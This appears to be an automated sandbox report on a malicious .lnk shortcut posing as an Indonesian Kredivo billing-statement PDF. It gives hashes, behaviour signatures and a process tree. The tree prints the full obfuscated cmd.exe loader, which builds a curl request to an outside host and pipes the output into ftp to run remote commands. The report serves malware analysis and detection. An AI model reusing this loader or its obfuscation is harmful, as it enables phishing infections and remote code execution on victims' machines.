e749997c33b45a2083dacbfa2f94b98c7556f4148cf2805f98ae8eb8e2e81437

General

Target
billing_statement_kredivo_jatuh_tempo.pdf.lnk
Size 11KB
Sample260910-3z3mcaaj6v
SHA256 e749997c33b45a2083dacbfa2f94b98c7556f4148cf2805f98ae8eb8e2e81437
MD5 8d88ed350618cf26e7d765dc76739f81
SHA1 54efba97a38545019258503e73c6042eecbf82fe
SHA512 044d08ca66cdaf2883637e3c6a07b3d10caa1dec65852513d058637d255b76f38522f2ff7656914cbc3e744155ec972f1fb2f6684ef8677845937753ed4655e3
SSDEEP 192:8KPM8lztm6tAvDBcwggkg2fhjd086hGs97NN5eDBjkG:LhteBcXRfdXjkG
TLSH
T17D32F23C38F6946CE2B1FE74C9A5B1EACB13B9771912C88D198105CFD113512EB9A93A
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

execution

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2244	cmd.exe
2528	cmd.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2528 wrote to memory of 2244	2528	cmd.exe	88
PID 2244 wrote to memory of 2236	2244	cmd.exe	89
PID 2244 wrote to memory of 1676	2244	cmd.exe	90

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\billing_statement_kredivo_jatuh_tempo.pdf.lnk
1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2528
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" "8t8tCx5I7UvOiLFENjPqOGh2ugeASc||8t8tCx5I7UvOiLFENjPqOGh2ugeASc||8t8tCx5I7UvOiLFENjPqOGh2ugeASc||8t8tCx5I7UvOiLFENjPqOGh2ugeASc||8t8tCx5I7UvOiLFENjPqOGh2ugeASc||8t8tCx5I7UvOiLFENjPqOGh2ugeASc||8t8tCx5I7UvOiLFENjPqOGh2ugeASc||8t8tCx5I7UvOiLFENjPqOGh2ugeASc||8t8tCx5I7UvOiLFENjPqOGh2ugeASc||8t8tCx5I7UvOiLFENjPqOGh2ugeASc||8t8tCx5I7UvOiLFENjPqOGh2ugeASc||8t8tCx5I7UvOiLFENjPqOGh2ugeASc||8t8tCx5I7UvOiLFENjPqOGh2ugeASc||8t8tCx5I7UvOiLFENjPqOGh2ugeASc||8t8tCx5I7UvOiLFENjPqOGh2ugeASc||8t8tCx5I7UvOiLFENjPqOGh2ugeASc||8t8tCx5I7UvOiLFENjPqOGh2ugeASc||8t8tCx5I7UvOiLFENjPqOGh2ugeASc||8t8tCx5I7UvOiLFENjPqOGh2ugeASc||8t8tCx5I7UvOiLFENjPqOGh2ugeASc||8t8tCx5I7UvOiLFENjPqOGh2ugeASc||8t8tCx5I7UvOiLFENjPqOGh2ugeASc||8t8tCx5I7UvOiLFENjPqOGh2ugeASc||8t8tCx5I7UvOiLFENjPqOGh2ugeASc||8t8tCx5I7UvOiLFENjPqOGh2ugeASc||8t8tCx5I7UvOiLFENjPqOGh2ugeASc||8t8tCx5I7UvOiLFENjPqOGh2ugeASc||8t8tCx5I7UvOiLFENjPqOGh2ugeASc||8t8tCx5I7UvOiLFENjPqOGh2ugeASc||8t8tCx5I7UvOiLFENjPqOGh2ugeASc||8t8tCx5I7UvOiLFENjPqOGh2ugeASc||8t8tCx5I7UvOiLFENjPqOGh2ugeASc||8t8tCx5I7UvOiLFENjPqOGh2ugeASc||8t8tCx5I7UvOiLFENjPqOGh2ugeASc||8t8tCx5I7UvOiLFENjPqOGh2ugeASc||8t8tCx5I7UvOiLFENjPqOGh2ugeASc||8t8tCx5I7UvOiLFENjPqOGh2ugeASc||8t8tCx5I7UvOiLFENjPqOGh2ugeASc||8t8tCx5I7UvOiLFENjPqOGh2ugeASc||8t8tCx5I7UvOiLFENjPqOGh2ugeASc||8t8tCx5I7UvOiLFENjPqOGh2ugeASc||8t8tCx5I7UvOiLFENjPqOGh2ugeASc||8t8tCx5I7UvOiLFENjPqOGh2ugeASc||8t8tCx5I7UvOiLFENjPqOGh2ugeASc||8t8tCx5I7UvOiLFENjPqOGh2ugeASc||8t8tCx5I7UvOiLFENjPqOGh2ugeASc||8t8tCx5I7UvOiLFENjPqOGh2ugeASc||EEEEEEEEEEEEEE||8t8tCx5I7UvOiLFENjPqOGh2ugeASc||8t8tCx5I7UvOiLFENjPqOGh2ugeASc||8t8tCx5I7UvOiLFENjPqOGh2ugeASc||8t8tCx5I7UvOiLFENjPqOGh2ugeASc||8t8tCx5I7UvOiLFENjPqOGh2ugeASc||8t8tCx5I7UvOiLFENjPqOGh2ugeASc||8t8tCx5I7UvOiLFENjPqOGh2ugeASc||8t8tCx5I7UvOiLFENjPqOGh2ugeASc||8t8tCx5I7UvOiLFENjPqOGh2ugeASc||8t8tCx5I7UvOiLFENjPqOGh2ugeASc||8t8tCx5I7UvOiLFENjPqOGh2ugeASc||8t8tCx5I7UvOiLFENjPqOGh2ugeASc||8t8tCx5I7UvOiLFENjPqOGh2ugeASc||8t8tCx5I7UvOiLFENjPqOGh2ugeASc||8t8tCx5I7UvOiLFENjPqOGh2ugeASc||8t8tCx5I7UvOiLFENjPqOGh2ugeASc||8t8tCx5I7UvOiLFENjPqOGh2ugeASc||NLThsxgkSaAaYwsu21268L6b2WN3Jd||mDjsuicy26CgcjgWtL0TxbPdl6Venv||2XGueooaU0FOboVfzCGXN0xilp6lTk||1dp7n4bCUC32LtW2dX26O4zwb52wOc||9qMzO4mOq7XWGEpHOxPDeElwhdW6Jt||8t8tCx5I7UvOiLFENjPqOGh2ugeASc||ZaGzLOcHA16C5t090ingLd1XP596oM||NpIzmucOdlB2c6QOy2l7iXM5VHbRcR||3kGTbor58pBESVIo0obsMuCtlPtRnc||/V/D/c "NLThsxgkSaAaYwsu21268L6b2WN3JdNLThsxgkSaAaYwsu21268L6b2WN3JdO||NLThsxgkSaAaYwsu21268L6b2WN3Jd||Jph0tKqNIXVyOmsDFLb3wtX3Xwlkuj||OFpaTjgqgGZnefY9E1XNaegbNZdjo4||l4tSKs4oMnro07tfzSwTNcOhh3wHHl||bAlfvC8c3Ei9HvgvDDUHdxyzInG7qR||yiklocaJt7j9Yuxljj8ETEUwvXtqd5||7MdUDTlxa9cHJhefnMF6Fe7c4kMyUV||LulshFQwf9tw7Oc5K6QTILHp1xTSWy||JprZETJ5RKRLfNvSW9RgiWk0nfwPbl||NpIzmucOdlB2c6QOy2l7iXM5VHbRcR||NLThsxgkSaAaYwsu21268L6b2WN3Jd||NpIzmucOdlB2c6QOy2l7iXM5VHbRcR||NLThsxgkSaAaYwsu21268L6b2WN3Jd||Jph0tKqNIXVyOmsDFLb3wtX3Xwlkuj||NLThsxgkSaAaYwsu21268L6b2WN3Jd||yiklocaJt7j9Yuxljj8ETEUwvXtqd5||8t8tCx5I7UvOiLFENjPqOGh2ugeASc||ceHcUrAyuRJjBZbmbtJQpLr1oUYI4c||NLThsxgkSaAaYwsu21268L6b2WN3Jd||2oGD7Oqp6o4oOXWkFue3oIuSp2pva2||NLThsxgkSaAaYwsu21268L6b2WN3Jd||l4tSKs4oMnro07tfzSwTNcOhh3wHHl||NpIzmucOdlB2c6QOy2l7iXM5VHbRcR||nPmQESeSPg2vR6L13zn0lyQEpjcihw||1dp7n4bCUC32LtW2dX26O4zwb52wOc||7BMPnE1oJuUklxuTbxQ9w23ObNFJ3B||l4tSKs4oMnro07tfzSwTNcOhh3wHHl||ZaGzLOcHA16C5t090ingLd1XP596oM||KGeJDmunT8DW2u63IpEYnB0aouyF8J||mDjsuicy26CgcjgWtL0TxbPdl6Venv||9qMzO4mOq7XWGEpHOxPDeElwhdW6Jt||bAlfvC8c3Ei9HvgvDDUHdxyzInG7qR||2XGueooaU0FOboVfzCGXN0xilp6lTk||Se^T Z2g=:\helper&&NLThsxgkSaAaYwsu21268L6b2WN3Jd||8t8tCx5I7UvOiLFENjPqOGh2ugeASc||NLThsxgkSaAaYwsu21268L6b2WN3Jd||JprZETJ5RKRLfNvSW9RgiWk0nfwPbl||NLThsxgkSaAaYwsu21268L6b2WN3Jd||setCsBZ2bIyNsFZ1jioTwmrvhyW15X||KGeJDmunT8DW2u63IpEYnB0aouyF8J||NLThsxgkSaAaYwsu21268L6b2WN3Jd||setCsBZ2bIyNsFZ1jioTwmrvhyW15X||NRuiLdhxDajtYDP1K5xLyRq5o08qJf||set oa=exi&&NLThsxgkSaAaYwsu21268L6b2WN3Jd||@if exist "C!Z2g!" (!oa!t) else (NLThsxgkSaAaYwsu21268L6b2WN3Jd||NLThsxgkSaAaYwsu21268L6b2WN3Jd||NLThsxgkSaAaYwsu21268L6b2WN3Jd||3kGTbor58pBESVIo0obsMuCtlPtRnc||NRuiLdhxDajtYDP1K5xLyRq5o08qJf||NLThsxgkSaAaYwsu21268L6b2WN3Jd||seT^ EE=-n&&set SHo=htt&&7BMPnE1oJuUklxuTbxQ9w23ObNFJ3B||l4tSKs4oMnro07tfzSwTNcOhh3wHHl||set FcDyy=s:/&&1dp7n4bCUC32LtW2dX26O4zwb52wOc||NLThsxgkSaAaYwsu21268L6b2WN3Jd||^se^t DE=newsletter.com/&&^s^eT^ BKU6T=-v&&s^et sCNIV=z8SdqwrQW&&set mlb=monad&&9qMzO4mOq7XWGEpHOxPDeElwhdW6Jt||7MdUDTlxa9cHJhefnMF6Fe7c4kMyUV||set kRv=cur&&^Se^t NNGhB=lnk/&&Se^T^ mo2OF=ft&&sET^ ngF=143125631241&&!kRv!l "!SHo!p!FcDyy!/!mlb!-!DE!!NNGhB!pl-st1?!sCNIV!!ngF!wqwFWQWQDS"|!mo2OF!p !EE! !BKU6T!) "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2244
- - C:\Windows\system32\curl.exe
    curl "https://monad-newsletter.com/lnk/pl-st1?z8SdqwrQW143125631241wqwFWQWQDS"
    3⤵
    PID:2236
- - C:\Windows\system32\ftp.exe
    ftp -n -v
    3⤵
    PID:1676